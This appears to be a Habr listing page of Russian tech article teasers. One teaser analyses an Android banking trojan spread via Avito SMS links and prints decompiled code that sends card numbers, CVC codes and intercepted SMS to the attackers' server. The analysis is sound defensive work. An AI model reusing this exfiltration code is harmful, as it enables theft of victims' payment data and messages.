Pull to refresh

Dagaz: Пинки здравому смыслу (часть 8)

Reading time14 min
Views8.7K
image — Для начала, ты должен понять главное…
— Что главное?
— Нет никакой ложки!

"Матрица"
 


Как я уже неоднократно говорил ранее, некоторые вещи реализовать в Zillions of Games попросту невозможно. Впрочем, если нельзя, но очень хочется, то иногда бывает всё таки можно. Как далеко можно зайти по этому пути?
Читать дальше →
Total votes 21: ↑20 and ↓1+19
Comments6

Переосмысление предобучения и самообучения

Reading time10 min
Views4.5K

В конце 2018 года исследователи из FAIR опубликовали статью «Переосмысление предобучения в ImageNet», которая впоследствии была представлена на ICCV2019. В статье представлены некоторые очень интересные выводы относительно предобучения. Я тогда не стал посвящать этому событию отдельный пост, но мы долго обсуждали его в нашем слаке (KaggleNoobs). Исследователи из Google Research and Brain team предложили расширенную версию той же концепции. Их новая публикация затрагивает не только тему предобучения (pre-training), она также исследует самообучение (self-training), сравнивая его с предобучением и обучением без учителя (self-supervised learning) на тех же наборах задач.

Читать далее
Total votes 10: ↑8 and ↓2+10
Comments0

Извлекаем уровни из Super Mario Bros с помощью Python

Reading time11 min
Views13K

Введение


Для нового проекта мне понадобилось извлечь данные уровней из классической видеоигры 1985 года Super Mario Bros (SMB). Если конкретнее, то я хотел извлечь фоновую графику каждого уровня игры без интерфейса, подвижных спрайтов и т.п.

Разумеется, я просто мог склеить изображения из игры и, возможно, автоматизировать процесс с помощью техник машинного зрения. Но мне показался более интересным описанный ниже метод, позволяющий исследовать те элементы уровней, которые нельзя получить с помощью скриншотов.

На первом этапе проекта мы изучим язык ассемблера 6502 и написанный на Python эмулятор. Полный исходный код выложен здесь.
Читать дальше →
Total votes 28: ↑26 and ↓2+24
Comments1

Кто потерял ключи: по следам SSH

Reading time8 min
Views40K


В 2015 году поднялась большая шумиха, когда по всему миру на различных узлах были обнаружены одинаковые SSH-отпечатки. Далее шума дело не пошло, но осадок остался. Попробуем разобраться, в чем основная опасность таких «дублей». Большая часть собранных данных актуальна для 2015 года.
Читать дальше →
Total votes 20: ↑20 and ↓0+20
Comments9

О судьбе отечественного оборудования для сетей 5G. Часть V Точка бифуркации

Reading time28 min
Views18K

И снова здравствуйте!

Первая часть. Обзор Рынка

Вторая часть. Внешние и внутренние противоречия

Третья часть. Основные действующие лица

Четвертая часть. Что есть базовая станция 4G/5G

Не думал я, что, когда начну свой скромный анализ ситуации с импортозамещением оборудования для сетей 5G, события будут развиваться так быстро: начало «специальной военной операции», введение «адских» санкций, звучащие предсказания еще более тектонических мировых изменений. Кроме того, вскрылись во всей красе фундаментальные риски российской экономической политики в области микроэлектроники (и не только), обозначенные нами в прошлом материале.

После первого шока от происходящего сейчас давайте взглянем на то, что было сделано со стороны государства и участников рынка на ниве создания отечественных базовых станций 4G/5G и каковы дальнейшие (если они есть) перспективы, учитывая новые ограничения.

Как обычно - буду рад конструктивной критике, обратной связи и дискуссии. Особенно интересно мнение людей, которые возможно заняты в компаниях, обозначенных в статье, без вас будет сложно дать всесторонний анализ ситуации. На базе Ваших предложений – сможем «углУбить и расшИрить» материал по мере поступшения предложений и комментариев!

Читать далее
Total votes 12: ↑11 and ↓1+16
Comments69

Рубрика «Читаем статьи за вас». Июль — Сентябрь 2019

Reading time17 min
Views11K


Привет, Хабр! Продолжаем публиковать рецензии на научные статьи от членов сообщества Open Data Science из канала #article_essense. Хотите получать их раньше всех — вступайте в сообщество!


Статьи на сегодня:


  1. Layer rotation: a surprisingly powerful indicator of generalization in deep networks? (Université catholique de Louvain, Belgium, 2018)
  2. Parameter-Efficient Transfer Learning for NLP (Google Research, Jagiellonian University, 2019)
  3. RoBERTa: A Robustly Optimized BERT Pretraining Approach (University of Washington, Facebook AI, 2019)
  4. EfficientNet: Rethinking Model Scaling for Convolutional Neural Networks (Google Research, 2019)
  5. How the Brain Transitions from Conscious to Subliminal Perception (USA, Argentina, Spain, 2019)
  6. Large Memory Layers with Product Keys (Facebook AI Research, 2019)
  7. Are We Really Making Much Progress? A Worrying Analysis of Recent Neural Recommendation Approaches (Politecnico di Milano, University of Klagenfurt, 2019)
  8. Omni-Scale Feature Learning for Person Re-Identification (University of Surrey, Queen Mary University, Samsung AI, 2019)
  9. Neural reparameterization improves structural optimization (Google Research, 2019)
Читать дальше →
Total votes 44: ↑43 and ↓1+42
Comments0

Роботрон. Как восстановить клавиатуру из 1987г. для чайников

Reading time13 min
Views13K

Очень давно на Хабре мною была прочитана статья о механических клавиатурах, свичах их разновидностях и всём таком. Естественно мне захотелось причаститься к секте кнопкопоклонников и сделать свою также для себя же. Но вместе с тем я не хотел кидаться с места в карьер неизведанных знаний (да и куча других незавершённых проектов давила на совесть) и решил потренироваться сначала «на кошечках». Желание засело в мозгу, запрос был сформирован, отослан в ноосферу и осталось только ждать.

И вот однажды «кошечки» ко мне постучались сами…
Читать дальше →
Total votes 95: ↑95 and ↓0+95
Comments70

Реверс-инжиниринг визуальных новелл (часть 2)

Reading time12 min
Views21K

Продолжаем нашу серию статей про то, как влезть во внутренности игровых движков и вытаскивать из них всевозможное содержимое. Для тех, кто к нам только что присоединился, коротко напомню, что мы изучали такой забавный жанр, как визуальные новеллы.


Прошло уже много времени с момента того, как мы научились разбирать архивы движка визуальных новелл Yuka, настало время взяться за самое интересное из того, что мы там нашли — собственно, скрипт. Забегая чуть-чуть вперед, сразу предупрежу, что скрипт, конечно, куда более сложная материя, чем просто архив с файлами, поэтому за одну статью нам с ним не разобраться, но сегодня мы попытаемся понять, из каких частей он состоит и получим доступ к текстовым ресурсам.


Перед тем, как погружаться в пучины бинарных дампов, давайте прикинем, как работают большинство движков визуальных новелл. Визуальная новелла сама по себе состоит из текста (реплик героев, диалогов, промежуточного повествования), графики и звуков. Для того, чтобы ее воспроизвести пользователю, явно нужно свести все это воедино с помощью какого-то управляющего воздействия. В теории можно было бы зашить это все прямо в exe-файл, но в 99% случаев (ладно, вру, в 100% виденных лично мной) так все-таки не делают, а хранят такие инструкции отдельно в виде отдельной программы-скрипта. Как правило, скрипт пишется на особенном языке программирования (специфичном для движка), который выглядит как-то так:


Читать дальше →
Total votes 66: ↑64 and ↓2+62
Comments33

Node.js на службе разработчика электроники: создаём библиотеки микросхем

Reading time8 min
Views13K
Всем привет! Сегодня мы поговорим о схемотехнике. А чтобы было интереснее, приплетем сюда Node.js. Внимательный читатель тут же спросит, какая же между ними связь? А такая, что мы попытаемся, используя современные технологии, немного облегчить жизнь тем, кто дружит с паяльником, любит программировать всякие там Arduino/BeagleBoard ну и вообще увлекается электроникой чуть больше, чем на потребительском уровне. Если кратко, то мы попытаемся немного автоматизировать процесс создания библиотеки электронных элементов.

Если стало интересно, то добро пожаловать под кат.
Читать дальше →
Total votes 20: ↑19 and ↓1+18
Comments6

О судьбе отечественного оборудования для сетей 5G. Часть III Основные действующие лица

Reading time26 min
Views10K

И снова здравствуйте!

Первая часть. Обзор Рынка

Вторая часть. Внешние и внутренние противоречия

Третья часть. Основные действующие лица

Четвертая часть. Что есть базовая станция 4G/5G?

В прошлый раз мы рассмотрели внешние и внутренние противоречия, которые, как мне кажется, и породили саму тематику создания отечественного оборудования для сетей 5G.

На этот раз предлагаю присмотреться к тому какие основные экономические субъекты в нашей отрасли связи имеют прямое или косвенное отношение к теме и постараемся выявить характерные сущностные черты и интересы, способные повлиять на дальнейшее развитие событий.

Как обычно - буду рад конструктивной критике, обратной связи и дискуссии для дальнейшего углубления и улучшения материала.

Читать далее
Total votes 7: ↑6 and ↓1+6
Comments11

О судьбе отечественного оборудования для сетей 5G. Часть IV Что есть базовая станция 4G/5G

Reading time29 min
Views17K

И снова здравствуйте!

Первая часть. Обзор Рынка

Вторая часть. Внешние и внутренние противоречия

Третья часть. Основные действующие лица

Итак, на данный момент мы рассмотрели телеком рынок России, выявили основные тенденции его развития, а также обозначили главных действующих субъектов. Теперь пришло время чуть пристальнее посмотреть на предмет локализации – сам конечный продукт с технической точки зрения.

Что из себя представляют базовые станции 5G, какова их роль в сетях связи, каковы основные компоненты и кто их производит, какие технологические вызовы будут стоять перед новым производителем, который решит войти на этот рынок? Давайте попробуем разобраться!

Как обычно - буду рад конструктивной критике, обратной связи и дискуссии. На базе Ваших предложений – сможем «углУбить и расшИрить» материал!

Читать далее
Total votes 7: ↑7 and ↓0+7
Comments20

Как я позорно деактивировал ботнет

Reading time10 min
Views191K
image

Разместил я, ничего не подозревая, объявление на avito.ru. Сколько раз туда ходил! Но на этот раз как-то не удалось…
Я давно был уверен, что многие нехорошие люди парсят телефонные номера с этого сайта, так что такси, строительные материалы, скорая компьютерная помощь, «8-800-555-3-555 — проще позвонить, чем у кого-то занимать» и приглашения на битву экстрасенсов для меня уже привычное дело, но на этот раз было нечто новое.

Приходит мне СМС-сообщение с текстом: «Зaинтерсoвaлo вaше oбьявление кaк нaсчет oбменa нa http://…». Прямо вот так, с пропущенным знаком препинания и ошибками. А по ссылке качается avito.apk. Интересно.

Исследование APK


Ну, подумал я, надо бы глянуть, что этот APK делает. Результат привычной для меня связки из apktool + dex2jar + jd-gui меня не удовлетворил, т.к. не было видно часть классов деревом, хотя доступ по ссылкам к ним получить было можно. Решил я воспользоваться новомодными онлайн-sandbox'ами — и декомпилированный код получил, и информацию, и pcap-файл со сдампленным трафиком. Как оказалось, этот файл загружали до меня, поэтому в мои руки попал более ранний анализ, что было достаточно полезно.

Итак, что умеет этот троян:
  • delivery&&& — рассылка СМС-сообщений на номера из телефонной книги с заданным текстом
  • sent&&& — отправка заданных СМС-сообщений с сервера
  • rent&&& — перехват всех СМС-сообщений и отправка их на сервер
  • sms_stop&&& — отмена перехвата СМС-сообщений
  • ussd&&& — USSD-запрос
  • call_1&&& — установка и отмена безусловной переадресации

Немного кода из моих заметок
protected HttpRequestBase a()
    {
        try
        {
            HttpPost httppost = new HttpPost(d());
            ArrayList arraylist = new ArrayList();
            arraylist.add(new BasicNameValuePair("bot_id", com.avito.a.c.a(c())));
            arraylist.add(new BasicNameValuePair("number", b));
            arraylist.add(new BasicNameValuePair("month", Integer.toString(c.intValue())));
            arraylist.add(new BasicNameValuePair("year", Integer.toString(d.intValue())));
            arraylist.add(new BasicNameValuePair("cvc", Integer.toString(e.intValue())));
            httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
            return httppost;
        }
        catch(UnsupportedEncodingException unsupportedencodingexception)
        {
            unsupportedencodingexception.printStackTrace();
        }
        return null;
    }

    protected String d()
    {
        return new String((new StringBuilder()).append(a).append("set_card.php").toString());
    }






    protected HttpRequestBase a()
    {
        try
        {
            HttpPost httppost = new HttpPost(d());
            ArrayList arraylist = new ArrayList();
            arraylist.add(new BasicNameValuePair("id", com.avito.a.c.a(b)));
            arraylist.add(new BasicNameValuePair("info", com.avito.a.c.b(b)));
            httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
            return httppost;
        }
        catch(UnsupportedEncodingException unsupportedencodingexception)
        {
            unsupportedencodingexception.printStackTrace();
        }
        return null;
    }

    protected String d()
    {
        return new String((new StringBuilder()).append(a).append("get.php").toString());
    }




    protected HttpRequestBase a()
    {
        try
        {
            JSONObject jsonobject = new JSONObject();
            jsonobject.put("text", c);
            jsonobject.put("number", d);
            jsonobject.put("date", e);
            HttpPost httppost = new HttpPost(d());
            ArrayList arraylist = new ArrayList();
            arraylist.add(new BasicNameValuePair("bot_id", com.avito.a.c.a(b)));
            arraylist.add(new BasicNameValuePair("sms", jsonobject.toString()));
            httppost.setEntity(new UrlEncodedFormEntity(arraylist, "UTF-8"));
            return httppost;
        }
        catch(UnsupportedEncodingException unsupportedencodingexception)
        {
            unsupportedencodingexception.printStackTrace();
        }
        catch(JSONException jsonexception)
        {
            jsonexception.printStackTrace();
        }
        return null;
    }

    protected String d()
    {
        return new String((new StringBuilder()).append(a).append("load_sms.php").toString());


Помимо этих команд, троян отключает Wifi Sleep, пытается получить доступ к зашифрованному хранилищу и установить себя в качестве Android-администратора (естественно, при этом используются стандартные диалоги ОС, где можно отменить данное действие). Код трояна не обфусцирован, некоторые строки закодированы base64. Вообще непонятно, что это за троян такой. То ли его собирали копипастой, то ли он основан на каком-то другом трояне, то ли еще что, но в нем имеются строки на португальском, немецком, английском, Ubuntu-шрифты, форма для перехвата данных из приложения немецкого банка Commerzbank, значок какой-то игры и флеш-плеера.
Читать дальше →
Total votes 368: ↑362 and ↓6+356
Comments143

Как работают квантовые компьютеры. Собираем паззл

Reading time33 min
Views253K


Квантовые компьютеры и квантовые вычисления — новый баззворд, который добавился в наше информационное пространство наряду с искусственным интеллектом, машинным обучением и прочими высокотехнологическими терминами. При этом мне так и не удалось найти в интернете материал, который бы сложил у меня в голове пазл под названием “как работают квантовые компьютеры”. Да, есть много прекрасных работ, в том числе и на хабре (см. Список ресурсов), комментарии к которым, как это обычно и бывает, еще более информативны и полезны, но картинка в голове, что называется, не складывалась.


А недавно ко мне подошли коллеги и спросили “Ты понимаешь как работает квантовый компьютер? Можешь нам рассказать?” И тут я понял, что проблема со складыванием в голове целостной картинки есть не только у меня.


В результате была сделана попытка скомпилировать информацию о квантовых компьютерах в непротиворечивую логическую схему, в которой бы на базовом уровне, без глубокого погружения в математику и структуру квантового мира, объяснялось что такое квантовый компьютер, на каких принципах он работает, а также какие проблемы стоят перед учеными при его создании и эксплуатации.

Получилось или нет - решать, как обычно, вам.
Total votes 111: ↑111 and ↓0+111
Comments105

Управляем освещением в квартире (NooLite, Raspberry Pi и WebIOPi)

Reading time35 min
Views30K
Хочу поделиться опытом использования системы для умного дома NooLite совместно с Raspberry Pi Model B (далее RPI) в двухкомнатной квартире.
О системе NooLite неоднократно писали на хабре:

В данной статье я расскажу:
  • об установке и настройке WebIOPi на предустановленную Raspbian в контексте использования UART для передачи команд на модуль MT1132 NooLite
  • о макросах в фреймворке WebIOPi для связывания запросов в стиле HTTP REST с GPIO UART
  • о написании простого клиента на платформе Android для управления светом через REST дырки

Читать дальше →
Total votes 14: ↑14 and ↓0+14
Comments9

ZeroNights Hackquest 2019. Results & Writeups

Reading time26 min
Views4.7K

Совсем недавно завершился ежегодный HackQuest, приуроченный к конференции ZeroNights. Как и в прошлые годы, участникам предстояло решить 7 различных заданий — по одному на сутки квеста. Задания, как всегда, помогли подготовить наши коммьюнити партнеры. Узнать, как же решались задания, и кто стал победителями хакквеста в этот раз, можно под катом.


image
Читать дальше →
Total votes 28: ↑28 and ↓0+28
Comments0

Рубрика «Читаем статьи за вас». Апрель 2020. Часть 2

Reading time17 min
Views5.6K


Привет, Хабр! Продолжаем публиковать рецензии на научные статьи от членов сообщества Open Data Science из канала #article_essense. Хотите получать их раньше всех — вступайте в сообщество!


Статьи на сегодня:


  1. Grad-CAM: Visual Explanations from Deep Networks via Gradient-based Localization (Georgia Institute of Technology, Atlanta, USA, 2016)
  2. X3D: Expanding Architectures for Efficient Video Recognition (Facebook AI Research, 2020)
  3. Adaptive Attention Span in Transformers (Facebook AI Research, 2019)
  4. ResNeSt: Split-Attention Networks (Amazon, 2020)
  5. Weight Standardization (Johns Hopkins University, 2019)
  6. Supervised Contrastive Learning (Google Research, MIT, 2020)
  7. Improved Training Speed, Accuracy, and Data Utilization Through Loss Function Optimization (USA, 2019)
  8. TTNet: Real-time temporal and spatial video analysis of table tennis (OSAI, 2020)
  9. Learning in the Frequency Domain (Alibaba, Arizona, 2020)
Читать дальше →
Total votes 28: ↑27 and ↓1+34
Comments0

Производительность: нюансы против очевидностей

Reading time27 min
Views6.8K

Приветствую, это текстовая версия моего доклада на JPoint-2021. Как обычно я сделал упор на случаи из жизни и на повседневные вещи, используемые каждым разработчиком. Под кат приглашаются интересующиеся производительностью и им сочувствующие.

Читать далее
Total votes 10: ↑10 and ↓0+10
Comments2

Вирусы с радикала. Опять!

Reading time3 min
Views9.2K
История началась с смски «срочно выйди в скайп» — писал клиент, хозяин одного из сайтов, которому я помогаю в обеспечении жизнедеятельности этого самого сайта. Оказалось, он получил письмо от некоего Alexander Goryachev с утверждением, что сайт скорее всего заражен.
Читать дальше →
Total votes 73: ↑59 and ↓14+45
Comments108